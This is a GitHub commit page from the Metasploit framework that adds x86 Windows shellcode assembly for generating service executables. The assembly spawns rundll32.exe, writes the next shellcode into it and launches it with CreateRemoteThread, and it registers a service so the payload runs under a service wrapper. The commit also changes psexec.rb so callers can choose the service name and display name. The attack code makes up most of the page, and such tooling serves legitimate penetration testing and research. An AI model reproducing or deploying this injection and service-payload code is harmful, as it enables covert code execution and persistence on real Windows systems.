Skip to content

Commit bf1a665

Browse files
Meatballs1Meatballs1
committed
Land rapid7#2657, Dynamic generation of windows service executable functions
Allows a user to specify non service executables as EXE::Template as long as the file has enough size to store the payload.
2 parents acced15 + 897ad6f commit bf1a665

File tree

9 files changed

+430
-26
lines changed

9 files changed

+430
-26
lines changed

‎external/source/shellcode/windows/x86/src/block/block_create_remote_process.asm

Lines changed: 82 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,82 @@
1+
;-----------------------------------------------------------------------------;
2+
; Author: agix (florian.gaultier[at]gmail[dot]com)
3+
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
4+
; Size: 307 bytes
5+
;-----------------------------------------------------------------------------;
6+
7+
[BITS 32]
8+
; Input: EBP must be the address of 'api_call'.
9+
10+
xor edi, edi
11+
push 0x00000004 ;PAGE_READWRITE
12+
push 0x00001000 ;MEM_COMMIT
13+
push 0x00000054 ;STARTUPINFO+PROCESS_INFORMATION
14+
push edi
15+
push 0xE553A458 ;call VirtualAlloc()
16+
call ebp
17+
18+
mov dword [eax], 0x44
19+
lea esi, [eax+0x44]
20+
push edi
21+
push 0x6578652e
22+
push 0x32336c6c
23+
push 0x646e7572
24+
mov ecx, esp ;"rundll32.exe"
25+
push esi ;lpProcessInformation
26+
push eax ;lpStartupInfo
27+
push edi ;lpCurrentDirectory
28+
push edi ;lpEnvironment
29+
push 0x00000044 ;dwCreationFlags
30+
push edi ;bInheritHandles
31+
push edi ;lpThreadAttributes
32+
push edi ;lpProcessAttributes
33+
push ecx ;lpCommandLine
34+
push edi ;lpApplicationName
35+
push 0x863FCC79
36+
call ebp ;call CreatProcessA()
37+
38+
mov ecx, [esi]
39+
push 0x00000040 ;PAGE_EXECUTE_READWRITE
40+
push 0x00001000 ;MEM_COMMIT
41+
push 0x00001000 ;Next Shellcode Size
42+
push edi
43+
push ecx ;hProcess
44+
push 0x3F9287AE ;call VirtualAllocEx()
45+
call ebp
46+
47+
call me2
48+
me2:
49+
pop edx
50+
51+
mov edi, eax
52+
mov ecx, [esi]
53+
add dword edx, 0x112247 ;pointer on the next shellcode
54+
push esp
55+
push 0x00001000 ;Next Shellcode Size
56+
push edx ;
57+
push eax ;lBaseAddress
58+
push ecx ;hProcess
59+
push 0xE7BDD8C5
60+
call ebp ;call WriteProcessMemory()
61+
62+
xor eax, eax
63+
mov ecx, [esi]
64+
push eax ;lpThreadId
65+
push eax ;dwCreationFlags
66+
push eax ;lpParameter
67+
push edi ;lpStartAddress
68+
push eax ;dwStackSize
69+
push eax ;lpThreadAttributes
70+
push ecx ;hProcess
71+
push 0x799AACC6
72+
call ebp ;call CreateRemoteThread()
73+
74+
mov ecx, [esi]
75+
push ecx
76+
push 0x528796C6
77+
call ebp ;call CloseHandle()
78+
79+
mov ecx, [esi+0x4]
80+
push ecx
81+
push 0x528796C6
82+
call ebp ;call CloseHandle()

‎external/source/shellcode/windows/x86/src/block/block_service.asm

Lines changed: 64 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,64 @@
1+
;-----------------------------------------------------------------------------;
2+
; Author: agix (florian.gaultier[at]gmail[dot]com)
3+
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
4+
; Size: 448 bytes
5+
;-----------------------------------------------------------------------------;
6+
7+
[BITS 32]
8+
; Input: EBP must be the address of 'api_call'.
9+
10+
push byte 0x0
11+
push 0x32336970
12+
push 0x61766461
13+
push esp
14+
push 0x726774c
15+
call ebp ;load advapi32.dll
16+
push 0x00454349
17+
push 0x56524553
18+
mov ecx, esp ;ServiceTableEntry.SVCNAME
19+
lea eax, [ebp+0xd0];ServiceTableEntry.SvcMain
20+
push 0x00000000
21+
push eax
22+
push ecx
23+
mov eax,esp
24+
push 0x00000000
25+
push eax
26+
push 0xCB72F7FA
27+
call ebp ;call StartServiceCtrlDispatcherA(ServiceTableEntry)
28+
push 0x00000000
29+
push 0x56A2B5F0
30+
call ebp ;call ExitProcess(0)
31+
pop eax ;SvcCtrlHandler
32+
pop eax
33+
pop eax
34+
pop eax
35+
xor eax,eax
36+
ret
37+
cld ;SvcMain
38+
call me
39+
me:
40+
pop ebp
41+
sub ebp, 0xd6 ;ebp => hashFunction
42+
push 0x00464349
43+
push 0x56524553
44+
mov ecx, esp ;SVCNAME
45+
lea eax, [ebp+0xc9];SvcCtrlHandler
46+
push 0x00000000
47+
push eax
48+
push ecx
49+
push 0x5244AA0B
50+
call ebp ;RegisterServiceCtrlHandlerExA
51+
push 0x00000000
52+
push 0x00000000
53+
push 0x00000000
54+
push 0x00000000
55+
push 0x00000000
56+
push 0x00000000
57+
push 0x00000004
58+
push 0x00000010
59+
mov ecx, esp
60+
push 0x00000000
61+
push ecx
62+
push eax
63+
push 0x7D3755C6
64+
call ebp ;SetServiceStatus RUNNING

‎external/source/shellcode/windows/x86/src/block/block_service_change_description.asm

Lines changed: 41 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
;-----------------------------------------------------------------------------;
2+
; Author: agix (florian.gaultier[at]gmail[dot]com)
3+
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
4+
; Size: 448 bytes
5+
;-----------------------------------------------------------------------------;
6+
7+
[BITS 32]
8+
; Input: EBP must be the address of 'api_call'.
9+
10+
push 0x000F003F
11+
push 0x00000000
12+
push 0x00000000
13+
push 0x7636F067
14+
call ebp ;OpenSCManagerA
15+
mov edi, eax
16+
push 0x00464349
17+
push 0x56524553
18+
mov ecx, esp ;SVCNAME
19+
push 0x000F01FF
20+
push ecx
21+
push eax
22+
push 0x404B2856
23+
call ebp ;OpenServiceA
24+
mov esi, eax
25+
push 0x00464349
26+
push 0x56524553
27+
mov ecx, esp
28+
push 0x00000000
29+
push ecx
30+
mov ecx, esp ;SVCDESCRIPTION
31+
push ecx
32+
push 0x00000001 ;SERVICE_CONFIG_DESCRIPTION
33+
push eax
34+
push 0xED35B087
35+
call ebp ;ChangeServiceConfig2A
36+
push esi
37+
push 0xAD77EADE ;CloseServiceHandle
38+
call ebp
39+
push edi
40+
push 0xAD77EADE ;CloseServiceHandle
41+
call ebp

‎external/source/shellcode/windows/x86/src/block/block_service_stopped.asm

Lines changed: 45 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,45 @@
1+
;-----------------------------------------------------------------------------;
2+
; Author: agix (florian.gaultier[at]gmail[dot]com)
3+
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
4+
; Size: 448 bytes
5+
;-----------------------------------------------------------------------------;
6+
7+
[BITS 32]
8+
; Input: EBP must be the address of 'api_call'.
9+
10+
call me3
11+
me3:
12+
pop edi
13+
jmp 0x7
14+
pop eax
15+
pop eax
16+
pop eax
17+
pop eax
18+
xor eax,eax
19+
ret
20+
push 0x00464349
21+
push 0x56524553
22+
mov ecx, esp ;SVCNAME
23+
lea eax, [edi+0x3];SvcCtrlHandler
24+
push 0x00000000
25+
push eax
26+
push ecx
27+
push 0x5244AA0B
28+
call ebp ;RegisterServiceCtrlHandlerExA
29+
push 0x00000000
30+
push 0x00000000
31+
push 0x00000000
32+
push 0x00000000
33+
push 0x00000000
34+
push 0x00000000
35+
push 0x00000001
36+
push 0x00000010
37+
mov ecx, esp
38+
push 0x00000000
39+
push ecx
40+
push eax
41+
push 0x7D3755C6
42+
call ebp ;SetServiceStatus RUNNING
43+
push 0x0
44+
push 0x56a2b5f0
45+
call ebp ;ExitProcess

‎external/source/shellcode/windows/x86/src/single/single_create_remote_process.asm

Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
;-----------------------------------------------------------------------------;
2+
; Author: agix (florian.gaultier[at]gmail[dot]com)
3+
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
4+
; Size: 307 bytes
5+
; Build: >build.py single_create_remote_process
6+
;-----------------------------------------------------------------------------;
7+
8+
[BITS 32]
9+
[ORG 0]
10+
11+
cld ; Clear the direction flag.
12+
call start ; Call start, this pushes the address of 'api_call' onto the stack.
13+
%include "./src/block/block_api.asm"
14+
start: ;
15+
pop ebp ; pop off the address of 'api_call' for calling later.
16+
%include "./src/block/block_create_remote_process.asm"

‎external/source/shellcode/windows/x86/src/single/single_service_stuff.asm

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
;-----------------------------------------------------------------------------;
2+
; Author: agix (florian.gaultier[at]gmail[dot]com)
3+
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
4+
; Size: 448 bytes
5+
; Build: >build.py single_service_stuff
6+
;-----------------------------------------------------------------------------;
7+
8+
[BITS 32]
9+
[ORG 0]
10+
11+
cld ; Clear the direction flag.
12+
call start ; Call start, this pushes the address of 'api_call' onto the stack.
13+
%include "./src/block/block_api.asm"
14+
start: ;
15+
pop ebp ; pop off the address of 'api_call' for calling later.
16+
%include "./src/block/block_service.asm"
17+
%include "./src/block/block_service_change_description.asm"
18+
%include "./src/block/block_create_remote_process.asm"
19+
%include "./src/block/block_service_stopped.asm"
20+
21+
push edi
22+
push 0x56A2B5F0
23+
call ebp ;call ExitProcess(0)

‎lib/msf/core/exploit/smb/psexec.rb

Lines changed: 6 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -51,8 +51,11 @@ def smb_read_file(smbshare, host, file)
5151
# instead of all the ghetto "rescue ::Exception" madness
5252
# @param command [String] Should be a valid windows command
5353
# @param disconnect [Boolean] Disconnect afterwards
54+
# @param service_description [String] Service Description
55+
# @param service_name [String] Service Name
56+
# @param display_name [Strnig] Display Name
5457
# @return [Boolean] Whether everything went well
55-
def psexec(command, disconnect=true, service_description=nil)
58+
def psexec(command, disconnect=true, service_description=nil, service_name=nil, display_name=nil)
5659
simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
5760
handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"])
5861
vprint_status("#{peer} - Binding to #{handle} ...")
@@ -70,8 +73,8 @@ def psexec(command, disconnect=true, service_description=nil)
7073
print_error("#{peer} - Error getting scm handle: #{e}")
7174
return false
7275
end
73-
servicename = Rex::Text.rand_text_alpha(11)
74-
displayname = Rex::Text.rand_text_alpha(16)
76+
servicename = service_name || Rex::Text.rand_text_alpha(11)
77+
displayname = display_name || Rex::Text.rand_text_alpha(16)
7578

7679
svc_handle = nil
7780
svc_status = nil

0 commit comments

Comments
 (0)